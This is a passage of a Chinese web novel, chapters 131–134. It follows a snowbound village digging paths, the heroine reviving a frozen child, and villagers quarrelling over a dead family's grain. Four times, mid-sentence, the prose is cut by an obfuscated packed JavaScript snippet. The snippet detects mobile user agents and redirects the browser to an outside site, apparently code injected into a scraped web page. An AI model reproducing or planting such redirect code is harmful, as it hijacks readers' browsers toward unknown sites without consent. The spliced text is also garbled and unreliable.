村里一通,各家重新建立联系,村长既高兴,不免又有些忧心,他叹口气:“我估摸着,用不了几天会有不少村民登门借粮食,我当初虽落下狠话,不听我提议提前屯粮的,别求到我家门前,到底是气话,真要有人跪在家门口求帮助,我还能坐视不管吗?” 他是村长,肩负一村之责,保护大梨村的百姓,是他的责任也是他的使命。 程父明白他的意思,村里没粮的村民在挖通雪道第一时间,肯定会先向关系好的邻里借钱借柴火,若是借不到,只能求救村长。 他语气同样不轻松:“谁知道雪会下到什么时候,家里有粮的,不愿意借粮能理解,送出去一份粮和柴,意味着家里人能活下来的几率就少了一分。” 当初屯粮的村民,最多不过囤了一家子三个月的口粮,柴火能抵抗月余已经算富裕。 村长有些不好意思地问:“大山啊,你家还有多少柴火和米粮?” 这是想探探程家的底。 他先交代自家情况:“我家米粮再撑两三个月不成问题,就是柴火少了些,已经用了过半,这还是一家子挤在一处省下来的。” 程父目光扫过女儿,家里东西都是女儿囤的,情况她最清楚。 程诺:“叔公,柴火我家倒是有,之前运木炭回来时,您也瞧见了,粮食……我家什么情况您也知道,人多嘴多,自家都顾不上。” 比起饿肚子,柴火才是当下重中之重,程诺当初敢光明正大把木炭运回来,便想到有今天。 不吃饭一时半会儿饿不死,但不烧炕,只要一晚上人就会冻死。 大雪来临前,山上能捡到的树枝就不多了,全靠着各家的存柴,大雪降临,柴火更不够用。 村长长舒一口气,有程诺这句话他放心多了。 粮食凑一凑,还能再度过一段日子,炭火没了,那才是真正人间地狱的开启。 回家后,程大壮不解地问道:“小妹,你不是一直让我们低调行事吗?为何告诉村长家里有木炭的事。” 届时,肯定会有人多人上门借炭,自家可怎么过。 程诺解释:“我当初从孟家出来,村长叔公帮了大忙,这些年,他也没少帮衬咱家,刚才他虽没明说,其实就是想让我们多帮着村民些。” 程大壮:“帮叔公我肯定是愿意的,但一想到当时劝村民囤粮囤柴,非但没人听还被嘲笑奚落,现在还要白送木炭给他们,这口气我怎么都咽不下去。” 程诺:“谁说是白送?” 程大壮一拍脑门:“对对对,要收钱。” 不仅要收钱,她还有别的想法。 …… 第二天一早,雪道连通的村民变得更多。 村长家往北又疏通了几十米,大福家往南也延伸出去五十米远,雪道两旁的人家或许是从自家房顶上看见雪道,纷纷洒扫自家门前积雪。 程大壮转悠一圈,数了一下,如今能联通的人家,已经有九户,大家终于可以串门了。 程家人拿着锄头赶到大福家门前时,贵叔父子和大福家三个儿子已经开始忙活起来。 程诺敏锐感知到两家气氛不对劲。 也不知道昨天他们走后,两兄弟发生什么龃龉。 男人们走在前头,两两一对,每过一盏茶功夫,前头人累了,后头人接棒跟上,匀速前进,队伍不慌不乱。 女人们跟在后头,用脚踩踏没被完全铲干净的积雪,确保路上平坦。 大福叔的媳妇,大福婶一脸阴郁走在后头,时不时对上贵婶倨傲的表情,心里憋屈,再也忍不住,顾不上这里还有程家人,阴阳怪气道:“还是弟妹有福气,住着村里最好的瓦房,儿子又少,不像我家三个儿子,忙完这个的婚事,愁那个的婚事,永远没有消停日子。” 话虽这么说,大福婶脸上却是骄傲的。 一连生了三个儿子,是她能吹嘘一辈子的事。 不像贵婶,前三胎全是女儿,老蚌怀珠才生下现在的儿子富贵。 贵婶哪会听不出她话里有话,冲程诺笑道:“可不是,这年头女孩也能当个宝,要是投身在穷得叮当响的人家当儿子,为了三瓜两枣,兄弟吵吵闹闹,那才惹人笑话,四娘,你说是不是?” 程诺但笑不语。 村里人谁不知道,大福婶的三个儿子,长相不佳,身材也不壮硕,家里还穷,婚事一拖再拖,三个兄弟都到了该娶妻的年纪,也不顾上兄长没娶弟弟不能娶妻的旧俗,抢着闹着让父母找媒人寻婆娘,成日里在家吵闹,周围邻居**以为常了。 大福婶被戳中心事,恼羞成怒,直接撕破脸:“你既然知道我家不富裕,就该把娘接走,为人媳妇,有能力却不赡养婆母,是不孝!四娘,你说婶子的话有没有道理?” 被二人夹在中间的程诺,就是不回话,弄得大福婶斜眼瞪了锯嘴葫芦一下。 赵氏看不下去,让程诺站在她身后,冲两妇人道:“清官难断家务事,别难为我小姑,你两家掰扯去。” 程诺冲赵氏一笑,赵氏冲她眨眨眼,示意两个婆娘都不好惹,不张嘴是明智之举。 二人默契不出声,看起两个女人以来我往较量。 贵婶猛一转身,直接跟大福婶面对面,一脸疑惑:“我不孝?我倒是想把老太太接过来,她不肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429211|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” 大福婶:“不肯你就该好好劝劝老太太,劝着劝着不就肯了。” “你家昨晚没劝?嘴皮子都磨破了吧?老太婆同意吗?” 大福婶噎住。 贵婶嘴角带笑:“嫂子,你说娘为啥宁愿在你家受苦,也不愿来我家啊?” 大福婶快气**,偏偏张嘴说不出一个字。 还能因为什么,老太婆从前偏心大儿子,苛待小儿子。 又在贵婶连生三胎女儿,她生了三个儿子后,对贵婶非打即骂,连带着几个女儿一起在家受人白眼。 最后贵叔看不下去,顾不上父母在不分家的规矩,强硬搬出去。 老太婆落下狠话:“你被狐狸精迷了眼,连亲娘都不要了,好,你想分家,我成全你,家里田地银钱,桌椅板凳一样别想带走,给老娘光着腚滚出去!” 贵叔没想到亲娘如此狠心:“娘,从小到大你都偏心大哥,难道我不是你儿子吗?我也可以给你养老送终。” 老太婆以为小儿子咒她死,立即炸了**:“满嘴喷粪的短命鬼,谁要你送终!我儿子给我生了三个乖孙,你媳妇生了三个赔钱货,我需要你来给我养老?滚滚滚,我就当没生过你这个不孝的狗东西!” 几十年的受罪,抵不住压下来的最后一根稻草,贵叔凭着一股气,真的只收拾了几件破衣衫分了家,带着媳妇孩子住进村里没人要的破屋。 下河道捕鱼卖鱼,一点点积攒铜板,期间老太婆没来看过一次,倒是去世的公爹时常背着家里人接济小叔一家,让一大家子度过最艰难的时光。 所以在公爹临死前拉着小叔的手,让他不要跟婆母赌气,好好赡养母亲终老时,贵叔贵婶答应了,将新屋建在老家隔壁不远处。 公爹有先见之明,知道小儿子比大儿子有用,日后一家子还得靠着小儿子。 事实果真如此,小儿子家越过越好,儿子生了,瓦房盖了,三个女儿也嫁了人,反观大儿子一家还挤在当初的土坯房里。 婆母年纪逐渐增长,两兄弟商议轮流赡养,第一年分在小儿子家,结果老太婆没住几天就往家里跑,说别人家住着不舒服。 笑话,青砖瓦房不舒服,泥土搭的土坯舒服? 谁看不出老太婆是心虚,怕小叔一家折磨她。 后来,在大儿子的强硬态度下,老太婆还是住回小儿子家,一年后回家,眼瞅着比送过去瘦了十来斤。 大福还闹过,是不是弟弟弟媳磋磨亲娘,结果老太婆说没有,每天好吃好喝,也没干活,但就是人越来越消瘦。 里头具体的细节,可能只有贵婶一家人知道。 第一百三十一章 糟糕,有家人冻** 今年轮到大儿子一家赡养,老太婆当然不肯再回小儿子家。 昨天两家人重聚,贵叔贵婶进屋,开口问老太婆愿不愿意回去,老太婆看到小儿媳妇满眼惊慌,说什么不肯走。 “我不去,我就待在家里,有我儿一口饭吃,他就不会饿着我,我不要去别人家!” 大福叔婶脸沉得跟锅底一样,再三劝说,也不能让亲娘改变决定。 贵婶幸灾乐祸差点笑出声,贵叔佯瞪了她一眼,让媳妇收敛着点,其实内心也不希望将老娘接回家。 他对母亲的最后一丝亲情,早在当初分家时,消失殆尽。 他更愿意跟媳妇儿子,一家人和和美美过日子。 前头铲雪的大福叔和儿子换下来,程家父子替换上场,听到贵婶的奚落,几个男人臊得脸色发红,直接回去休息,估算着时间差不多再回来。 其实他们本不想来铲雪的,但贵叔放了话,想要他家接济粮食,就去铲雪道,大福一家如今米缸见底,除了听弟弟的话,没有别的选择。 一家人干活身上累,憋屈的心里堵,没地方发泄,只能撒到老太太身上。 “都怪奶,当初干嘛把二叔一家赶出去,要是没分家,二叔赚的钱都得上交给奶,现在住大瓦房的就是咱家!”大儿子一脸愤愤。 二儿子更是没心没肺:“要不咱把奶直接送去二叔家,她少吃一口,咱就能多吃一口。” 三儿子抱怨道:“她不肯去,烦**,老不死的,怎么能活这么久!” 三儿子时常聚在一起骂奶奶,彼此间听过最恶毒的话,早见怪不怪。 道路两旁更多的人加入,程大壮这边效率越来越高,两头一起开通,有人站在屋顶上方指挥另一端的人,怕道挖歪了。 每路过一户人家,程父会让儿子喊上两声,听到动静的人家开窗爬出来回应,大多数人家愿意加入队伍,少数懒散的在里头浑水摸鱼,大家看在眼里,鄙夷不已。 雪道继续往前进,很快到了何大夫家门前,他家没人,隔壁住着的是何大夫兄弟,也就是何桂香叔叔堂弟一家。 不同于之前路过的每户人家,屋顶上的雪扫得七七八八,何武家的屋顶被积雪覆盖得足足高出一整个胳膊。 显然已经很久没人打扫了。 住在何武家隔壁的男人道:“刚下雪那阵,何家隔三岔五跟我家隔着墙垛说话,这些天,许久没不见人影了。” 程大壮心里涌现出不好的想法,问邻居:“你看他家炊烟飘过吗?” 男人不确定地摇摇头:“好像没瞧见。” 他没敢说,他爬上屋顶清雪的时候,何家炊烟已经被大雪盖上好厚一层了。 四下一片死寂,连日来挖雪道带起的活力,在此刻像是被突如其来的意外撞击的粉碎。 程诺替大伙儿说出已经到嘴边的话:“要么何家在屋里好好的,没听到外头的动静,要么,人已经没了。” “咋办,进去看看吗?”程大壮问。 范木匠不想浪费时间:“大雪天**,尸体一时半会也不会坏,要不要继续往前。” 程诺抬头,视线落在院门上:“进,万一人还有一口气,咱们走了不是放弃一家的命。” 这回换赵氏躲在程诺身后,她从前见过村里老死的人,瘦得皮包骨,也见过病死的人,浑身青紫,光想想后背发凉。 “阿云,躲娘后头,待会儿别看。” 程云比赵氏胆子大:“我不怕,小姑姑说得对,我们应该进去看看。” 他家跟何武没什么交情,但何大夫关系不错,既然是何大夫的弟弟家,不管不顾说不过去。 很快,大伙儿的铁锹撬开了何武家的院门。 邻居男人看了眼牲口棚,棚子里的鸡鸭不知是冻死的,还是饿死的,倒在围栏边上。 “何武媳妇最宝贝鸡鸭,**怎么没人处理?” 门口距离房门还有两丈远,空气里静谧得只能听到铁铲插入雪堆的“呲呲”声。 刚刚撬锁的声音太大,吸引来其他邻里,有人见到程家人进了何武家院子。 “啥情况,程大壮怎么把人家院门撬了?” “他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429212|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两家交情很好嘛?程家还替何武家挖雪道,怎么不帮帮咱们家。” 说话的是村里的懒汉程三狗,往上不知多少代,跟程大壮也算沾亲带故,此时不满喊道:“大壮,你咋不帮我家铲雪,好歹咱们是本家,身体里躺着一个祖宗的血!” 走在队伍后头的程诺回头看了眼说话的人,尖嘴猴腮,骨瘦如柴,吊梢眼塌鼻梁,一看就不是好人。 程三狗茫茫白雪中见到美人回眸,一下子看呆了。 他是不是眼睛出问题了,村里何时来了个大美人,他迫不及待小跑上前,跟着程家人一起进了院。 走近时,发现刚才的青衣美人已经走到队伍最前列,他挤进人群,想好好看一看。 程大壮此时朝屋内喊了两声,没得到回应,做好踹门而入的准备。 “砰”的一声,在四下响起。 程三狗急匆匆往前挤,眼瞧着伸手能够到青衣美人的衣角,脚下不知被谁绊到,又被一道突如其来的巨响吓了一跳,整个人惊慌失措中乱了手脚,就这么直挺挺朝前扑去。 程诺眼疾手快将大哥拉到一边,就见那贼眉鼠眼的男人踉跄着扑倒进屋。 “哎呦,我的腰。” 程三狗扶着腰坐在地上,回头狠狠瞪向人群:“谁他妈绊的老子?” 身后的人群一脸严肃,眼神中还有恐慌,有人双手环抱在胸前,看他一脸鄙夷,有人伸长脖子往里看,偏偏脚一步不往里伸。 一秒、两秒、三秒过后,除了程三狗的声音,屋子里再也没传来任何动静。 程大壮闭上眼,程父同样一脸哀痛。 其他跟在后头的妇人,心软的已经红着眼眶,哭出了声。 程三狗一脸懵,还没意识到问题的严重性,拍着屁股爬起来,得意道:“知道怕了?我刚那一跤摔得不轻,身上肯定青紫一片,骨头说不定也碎了。”边说边扶着微微作痛的尾巴骨,摊开手要赔偿,“给我十斤粮,一捆柴,此事作罢,不然,我告到村长那儿去!” 程诺一脸看傻子一样的表情看着程三狗。 第一百三十二章 十个活一个 落在程三狗眼里却是美人对他的倾慕,此时他才知道原来面前的美人是程四娘,许久没见,怎么好像换了个人,脸上的伤疤没以前严重了。 程四娘被孟举人抛弃,带了个拖油瓶,日后定然不好再嫁,他如今正好找不到婆娘,若是他把程四娘娶了…… 程三狗心里飘飘然,神情越发猥琐起来,想起何武媳妇以前是给人做媒拉纤的,转身走进屋内,笑道:“何婶,上回你说村里没适合我的守寡小媳妇……” 走到一半,程三狗脚步顿住。 屋内温度跟室外没区别,冷得跟冰窖一样。 程三狗终于意识到哪里不对劲,他闯进主人家,主人怎么连吭都不吭一声。 想起刚才门口人的眼神,他不禁打了个哆嗦。 何武今年五十出头,媳妇是三十里外杏花村嫁过来的,二人生了两个儿子,两个女儿,女儿已经出嫁,两个儿子娶了亲,各自生了一儿一女,暂未分家,全家一起住在上一辈留下的老屋内。 原本何大夫是老大,房子应该留着他,但他只有何桂香一个女儿,故去的老两口想着小儿子家人口更多,加上何大夫媳妇死得早,女儿嫁了人他就是孑然一身,房子再大鳏夫一个,没大用。 两个儿子分家时,就把房子和地给了小儿子,银钱分了一半给何大夫重新盖屋。 但凡不是独生的家庭,父母总会偏心眼,何大夫就是另一个贵叔,所以两家虽为兄弟,实则关系并不紧密。 程三狗一只脚已经踏进主屋,即便心里千万遍告诉他不要看不要看,奈何眼睛不听使唤。 主屋床上,何武跟媳妇抱在一起取暖,双眼紧闭,睫毛上满是冰霜,双唇**白,人已经没有多时了。 程三狗吓得腿软,啊地尖叫一声,冲到门口拨开人群飞也似的逃走了。 “米缸里还有糙米,应该是被冻死的。”程大壮从厨房出来,叹了口气。 此时程云的喊叫声从西侧屋子传来:“快来人!还有活着的!” 程诺飞速奔跑出去,险些被屋外湿雪地滑到。 有人搀了她一把。 “小心。”十七的沉沉嗓音在她耳边响起。 程诺第一个冲进西侧屋。 屋里温度不比主屋好多少,小榻上窝得满满当当,再也挤不出半点位置。 四个大人围在最外头,形成一堵人墙,里头是三个孩子,三个孩子又围成圈,将最小的孩子护在最里头。 那是个女孩,五六岁的模样,双颊冻得发白,鼻息间有微弱气息传出。 是何武最小的孙女,叫阿宝。 “造孽啊,何家十口人,就活了一个!” “两媳妇两儿子年纪轻轻,也没熬过去,还有三个孩子,全是冻死的。” 看到何家惨状的村民,心底生出一股凄凉,无人不为何家惋惜,推己及人,谁又知道自己会不会是下一个被冻死的何家人。 说话的功夫,小姑娘甚至连呼吸也没了。 “小的这个身体也僵了,不中用不中用了。” 程父几人废了好大劲儿才把外面围成人墙的人拉开,看了眼叫阿宝的孩子,脉搏几乎没有,露在外头的四肢僵硬,此刻连呼吸也断了。 最痛心的不是看到死去的人,而是活人在面前,他们束手无力,只能眼睁睁看着人死。 程云眼泪吧嗒吧嗒往下掉,发现阿宝活着的喜悦,在村民们一声声“不中用”“活不了”中荡然无存,心冷得胜过冰天雪地里的万丈寒冰。 人群里传来抽泣声,有人不忍再看,别过脸去。 “能救!” 一道坚定的清冷女声,像是将大伙儿绝望的心,从万丈深渊的湖底捞起。 众人巡声望去,是程家四姑娘,她的指尖稳稳按在小女孩脖颈,目光沉寂如水。 “怎么可能,大罗神仙来了也救不了!”有人质疑。 程父也道:“来得太晚了,这孩子,哎……” 程诺面色镇定,冲程大壮道:“大哥,把你袄子脱了。” 程大壮二话不说,将外衣脱下,递给小妹。 “要最里头那件厚的。” 程大壮继续脱,直到脱得几乎光膀子,小媳妇们别开眼。 程诺也把小姑娘身上湿哒哒的衣服,脱了个干干净净。 快速将人包裹起来,开始搓对方手心,边搓边冲手心哈气,接着贴着她的胸口,一下一下按压。 没有反应,再按,还是没有反应。 时间长到双手使不上力,“我来!”坚定的男声自耳畔响起,十七推开程诺,“告诉我怎么按压。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429213|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学着程诺的姿势摆,动作跟程诺学了九成像。 “对,就这样,有规律地按下去。” 有人劝二人放弃,有人笑他们又不是大夫,何必装模作样,不如让小姑娘体面的死。 “阿云,去外头取些雪来。”程诺。 程云根本不知道小姑在干嘛,他就是小姑最忠诚的手下,让干嘛就干嘛。 雪很快取过来。 程诺抓起一把塞进嘴里,融化后对着阿宝的嘴喂下去。 不知过了多久,突然—— “咳……!” 一声微弱的呛咳,小姑娘猛地抽了口气,胸口剧烈起伏。 “活了!真活了!”村民骤然沸腾,有人惊呼,有人喜极而泣。 程大壮三十大几的人,此刻光着膀子,只穿一件里衣,衣服挂在身上没来得及穿,眼眶里满是泪水,冲人群嚷嚷道:“谁刚刚说我小妹装模作样的?谁!” 队伍后头几个男人闭了嘴,灰溜溜走了。 程诺抬起头,嘴角微不可查扬了扬,窗外的雪光透过窗户透进来,像是在她眼里照耀起来一刻不灭的星。 十七看得愣住,甚至忘记收回双手交握的动作。 程诺冲他抬了抬眉眼:“我说了,能救。” 骄傲的小模样,让人看了心里高兴。 “对,你说能救就能救。”十七忍不住跟着一起笑出声。 赵氏擦着眼泪上前:“我来抱,先把她带咱家去,这孩子冻坏了也饿坏了。” 程诺叮嘱道:“嫂子回去烧些水,给她泡个澡,切记温度不要太烫,温温的就行。” 赵氏虽不知道原理,却对小姑的话深信不疑:“知道了,我这就回去。” 程父见到女儿的本事,自豪不已,活生生一条人命,在女儿手底下活了,能跟阎王爷抢人,够他吹嘘一辈子。 闻讯赶来的村长,听到何家的噩耗,悲痛万分,又听到程家姑娘救下唯一幸存的孩子,连声道:“好,四娘不愧是我程家姑娘。” 夸完人,村长忍不住打量起何武的家。 何武在村里不算穷人,甚至还有些小钱,两儿子正是身强体壮能赚钱的时候,家里米粮不缺,何大夫走的时候,还特地将家里的木柴全给了弟弟。 即便人口多,也不至于会这么快冻死。 第一百三十三章 都想要死者家的粮食 “难道是因为何武夫妻俩跟孩子分开睡,烧的柴火太多了?”程父问。 十七开了口:“不是,那对夫妻是冻死后才被抬到主屋的。” 主屋没有炭火盆,炕洞里的灰烬黑咕隆咚,显然是很久之前的。 他摸着西屋炕上的被褥,干硬曲折,明显是潮湿后重新冻上。 “屋里进过水。”青年话音刚落,立马有人抬头看屋顶,没有半点雨雪的痕迹。 “不可能,门窗关得紧紧,墙壁没有受潮的痕迹,水从哪来?” 十七攀上高处,那里有个一丈高的衣柜,衣柜上有个巴掌大的水壶,将其从高处拿下,动作间水壶晃荡,里头的水早已结了冰。 “这应该是何家人用来接水的,怕雪水打湿衣柜。” 村长看了眼几乎满满当当的水壶,其他人也发现屋里各个地方都有大小不一的容器,里头的雪水,无一例外结成冰。 “真的进水了,看来是屋顶上的雪水被屋里炭火温度融化流进屋里,可何家的屋顶不是前年夏天刚翻新的吗?” 按理屋顶三到五年才需翻新,在座的村民,有的家里五六年没换新,这次大雪家里也没进水,没道理何家新屋顶会漏水。 “我去屋顶瞧瞧。”程大壮穿好衣服,准备带着几个汉子爬上屋顶清雪。 突然有人拍了他后背一下:“大壮,你后头贴了个啥?” 方才情况紧急,程大壮忘了隐藏后背的暖宝宝。 想起程诺叮嘱他的话,程大壮绞尽脑汁想个法子应付过去,偏他是个不会说谎的老实性子。 那人又摩挲了两下,觉得掌心下像是结了块,摸起来干干硬硬:“这是……” 程大壮后背一紧。 “是治风湿的膏药吧?”男人一脸笃定。 程大壮一愣,接着猛点头:“是,这都被你看出来了。” 男人一脸果然如此,惋惜道:“注意身体啊,你才多大年纪,风湿磨人,缠上就是一辈子。” 程大壮松了口气:“你说得对,我会注意的。” 没多久,屋顶漱漱往下落的雪堆掉在雪堆中,很快其中一个汉子发现何家人冻死的真相。 “村长,何武叔家屋顶的茅草全被虫啃食烂了!” 果然是房顶出现问题。 此时,何武邻居想起来一件事:“去年春夏的时候,何武说家里突然多了很多白蚁,不知道从哪里冒出来的,用了很多方法都没清理干净,好在天气变凉后白蚁消失了,原来是藏在茅草里。” 此时,家里是茅草顶的村民,脚底冒烟回去查看屋顶,生怕晚了,自家也成水帘洞。 很快,检查过后的村民,站在自家屋顶上喊道: “我家没被虫啃烂了,但也潮了不少,得有太阳暴晒才行。” “我家挺好的,屋顶是去年换的,当时掺了不少桐油浸泡,虫蚁最怕这玩意儿了。” 好在,除了何武家的屋顶,大多数人家没大问题。 何武全家倒了大霉了。 “村长,何家人**,我们咋处理,”先前逃跑的程三狗又冒了出来,“他家厨房还有不少米粮,是不是给大伙儿分分?” 还有牲口棚里饿死的鸡鸭,要是能分他一只多好,太久没沾荤腥,程三狗馋坏了。 谁知村长瞪了他一眼,语气严肃:“何家人还没死绝,轮不到我来处理遗产,这话更不该从你嘴里头说出来!” 程三狗悻悻地闭上嘴。 人群里跟他有同样想法的人不少,其中就有范木匠一家。 无人注意处,听说冻**人来看热闹的张氏和范母,偷偷溜进何家厨房,趁着大伙儿注意力在茅屋顶上,往怀里偷塞了几个红薯和玉米。 衣服穿得厚,藏几样东西,并不明显。 范母还想从鸡窝里偷一只死鸡,目标太大,被媳妇拦下。 二人路过贵婶身边时,面上佯装镇定,贵婶还是忍不住多看了两眼。 大冬天,范家人饿得面黄肌瘦,怎么胸部和肚子却更鼓囊囊了? 很快村长发话的声音吸引贵婶的主意,她才将视线从范家婆媳身上收回。 村长提议将何武一家的尸体原封不动放屋里,等大雪融化何大夫收到消息,大伙儿再帮着一起处理后事。 外头大雪比人高,又冻得邦邦硬,没法埋人,大伙儿都同意村长的意见。 至于何家剩下的粮食,村长发了话:“何家就剩下阿宝一个女娃,要不是四娘救她一命,何武地底下难安,何家剩下的粮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429214|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食,理应归阿宝所有,谁能养育阿宝,粮食就归谁。” 此话一出,不少人举手表态。 “我心疼阿宝,给我家吧,正好我家缺个女仔。” “去去去,我姓何,祖上跟何家有亲,阿宝理应抚养在亲戚家里,什么时候轮到外人。” “何海平,你拉到吧,家里穷得揭不开锅,再养个女娃不是祸害人家吗?你是惦记何家几大袋米粮吧?” 何海平脸皮厚,丝毫不臊,怼回去:“麻子,你凭什么说我,你家重男轻女出了名的,老二媳妇第二胎是个女孩,刚出生就没了,谁知道是不是被你卖了还是送了人!” 被叫麻子的中年男人被戳破秘密,脸通红,好在有满脸麻子挡着,村民瞧不见。 吵吵嚷嚷的声音持续不断,村民热情地要收养阿宝,里头多少人真心实意,多少人是奔着粮食,村长心知肚明。 村长的烟袋锅在桌上敲了敲,喝制住众人的吵闹,“行了都闭嘴!” 大伙儿不情愿地禁了声,目光灼热等着村长下决定。 村长吧嗒吧嗒,有一下没一下抽着根本没烟丝的烟嘴,烟丝早用完了,习惯改不了,只能嘬一嘬聊以自慰。 “孩子的事,先放放,阿宝身体还没恢复,暂且住在大树家里,算一个人的口粮,先从何家粮食里拨给大树家。” 程老爹没意见。 范木匠不乐意,程家根本不缺粮,他们这些快饿死的却得不到一粒米,开口道:“村长,我家实在熬不住了,你看,何家粮食这么多,放着也用不到,不如先给我,不、借我几十斤,让我家渡过难关,明年我多还三成利。” 他言辞急切,态度诚恳,一脸菜色很让人信服。 村长愁啊,答应吧,对不起何武,人家刚死,村里就忙着分他的粮食,世态炎凉;不答应吧,人命当前,要真有人饿**,良心不安啊! 他最后也没当场应承下来,只说要回去想想,离开时告诉大伙儿:“通雪道的任务迫在眉睫,但凡家里有壮劳力的,全部出来帮忙,要是被我发现里头有浑水摸鱼的懒骨头,分粮借粮时一粒米也甭想要!” 村长虽上了年纪,威严不减,当初能选为村长,自是有原因的。 第一百三十四章 老树皮也得抹雪花膏 大伙儿对他的话,还是听上三分的。 程父带上儿女回了家,厨房里赵氏已经给阿宝洗漱好了,锅里还温着热水,等家里人回来。 几人一到家,立刻围到小姑娘面前。 小姑娘刚喝了半碗稀粥,此时已经沉沉睡过去,赵氏不敢给她吃荤腥和米饭,怕肠胃饿久了受不住。 小盼儿躺在她身边,看到程诺回来,道:“阿娘,她是谁啊?” 程诺道:“她是何大夫的家人。” “那她以后住我们家吗?” 程诺点点头:“暂时先在咱家住,妹妹比你小,小盼儿是姐姐要多照顾妹妹,知道吗?” 小盼儿拍拍胸脯保证:“放心吧阿娘,我会像珍珠姐姐照顾我一样,照顾她的。” 女儿比同龄孩子早熟好几岁,不知是不是童年生活不幸,养成了独立的性子,这段时间程家人全在为挖雪道的事操心,她一个人待在家里从没出过差错,甚至有时候,大伙儿回到家,她已经烧好热水等着了。 程诺摸摸女儿脑袋,笑着夸赞:“小盼儿真棒!娘晚上给你做糍粑饼吃。” 小盼儿拍手叫好:“盼儿想吃带肉馅的糍粑饼。” 说完怕声音太大,打扰到身边熟睡的女娃,忙捂住嘴,眼睛带笑望着亲娘。 程诺给她比了个“OK”手势,小盼儿一脸懵。 “这个动作,代表好。” 小盼儿伸出小手学起来…… 赵氏给公公和丈夫打洗脸水,一边给他们递帕子,一边问:“何家的事怎么处理的。” 程大壮用帕子擦干净脸上的水渍,再从窗户上拿过巴掌大的瓦罐,抠出一小块,在掌心搓揉,均匀涂抹在脸上,才开口道:“尸体先放着,等雪化了通知何大夫,再找地方埋起来。阿宝先住咱家,村长会从何家粮食里拨一部分给咱家,作为小丫头的口粮。” 赵氏点点头,小孩子吃不了多少东西,她倒是不在乎这点粮,就是觉得这孩子可怜。 没爹没娘,以后日子怎么过。 程父接过儿子递来的瓦罐,也从里头挖出一指甲盖白色乳状东西抹在脸上,看到快见底的罐子,冲女儿道:“四娘,这玩意儿用真快,还有吗?” 他手里拿着的是程诺从商城买的防冻疮膏,每次家里人从外头回来,她都让大家涂上,从脸到耳朵,再到手,所有露在外头的地方一个都不放过。 其他村民在外头挖了几天雪道,长出不少冻疮,唯独程家人半点没影响,皮肤跟原先一样。 “有,我去拿。” 程诺接过瓦罐进屋,从房间出来时,瓦罐再次被填满。 原来的罐子是塑料瓶的,她直接丢给商城。 程父知道这是好东西,每次用起来抠搜得很,一次就小拇指沾一点,程诺看不下去,直接掏出一勺,放在他掌心。 “哎呀,浪费浪费,我一脸老树皮,不用也成的。” 程父心疼不已,转身要抹在十七脸上。 十七顺滑躲过,拿起程父的手贴在他脸上,笑道:“程叔,你还是抹一抹吧,程婶回来见你老了嫌弃你怎么办。” 程父鼻子一哼,望着眼前人俊秀的脸庞,语气里有止不住的得意:“不是叔王婆卖瓜,咱年轻的时候长得也不耐的,村里不少姑娘惦记我,最后便宜你婶子了。” 程大壮举手:“我可以证明,咱爹年轻时确实好看。” 程云也跟着举手:“我也可以证明,大家都说爷跟我长得像,你们看我就知道了,爷爷年轻时差不了。” 赵氏笑着拍打儿子后背:“倒反天罡,是你像爷爷,傻孩子!” 屋里气氛顿时愉悦不少,先前大伙儿被何家惨剧弄得心慌难受,此刻沉寂的心情终于回暖。 第二天,雪依旧没有融化的迹象。 好消息是,已经连续三天没有飘雪了。 程诺给家人贴上暖宝宝,前胸后背,膝盖胳膊,反正这玩意便宜,她不心疼。 嘱咐小盼儿在家照顾好阿宝妹妹,全家人再次走出屋,迎接严寒。 有了昨天村长的话,原先那些偷懒耍滑,不愿意动手挖雪道的村民,纷纷加入行列。 队伍速度以每天百十米的速度往前进。 今天又在村里发现一家没炭冻死的村民,这家人剩下米粮不多,但也能供一家吃上小半个月。 隔壁住着的就是自家兄弟,米粮自然落到对方头上,其他人只有眼热的份。 离村尾,小李家居住的地方只剩下五十米距离时,天又黑了。< 